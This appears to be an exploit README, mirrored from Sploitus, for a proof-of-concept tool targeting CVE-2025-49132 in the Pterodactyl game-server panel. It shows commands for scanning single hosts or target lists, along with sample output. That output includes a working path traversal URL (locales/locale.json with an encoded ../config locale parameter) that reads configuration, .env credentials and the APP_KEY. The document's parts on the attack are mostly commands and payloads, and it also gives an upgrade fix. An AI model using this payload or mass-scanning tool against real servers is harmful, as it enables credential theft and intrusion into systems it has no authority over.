Exploit for CVE-2025-49132

## https://sploitus.com/exploit?id=511E2EFB-E975-581F-A65C-88A7CF402A5B
# CVE-2025-49132_poc

## Usage Examples

1. **Scanning a single target**:
   ```bash
   python3 CVE-2025-49132_poc.py -u http://pterodactyl.example.com
   ```

2. **Scanning a list of targets**:
   ```bash
   python3 CVE-2025-49132_poc.py -f target_list.txt
   ```

3. **Saving scan results**:
   ```bash
   python3 CVE-2025-49132_poc.py -f target_list.txt -o scan_results.txt
   ```

## Output Examples

**When a vulnerability exists**:
```
[+] Vulnerability found: Vulnerability identified
    Vulnerability details:
      • Type of vulnerability: Path traversal
      • Attack vector: Accessing /locales/locale.json via path traversal parameters
      • Exploit URL: http://target.com/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
      
    Potential impacts:
      • Reading credentials from the panel configuration file (.env)
      • Extracting sensitive information from the database
      • Accessing files managed by the panel's game server
      
    Retrieved APP_KEY: base64{{your_secret_key_here}}
      
    Fix suggestion: Immediately upgrade to Pterodactyl v1.11.11 or higher
   ```
**When no vulnerability exists**:
```
[-] No vulnerabilities found: No vulnerabilities detected (Status code: 404)
```
**Scan Summary**:
```
Scan summary:
  • Total targets scanned: 5
  • Vulnerabilities found: 2
  • Safe targets: 3

[!] Critical: Systems with vulnerabilities detected! Action needs to be taken immediately.
```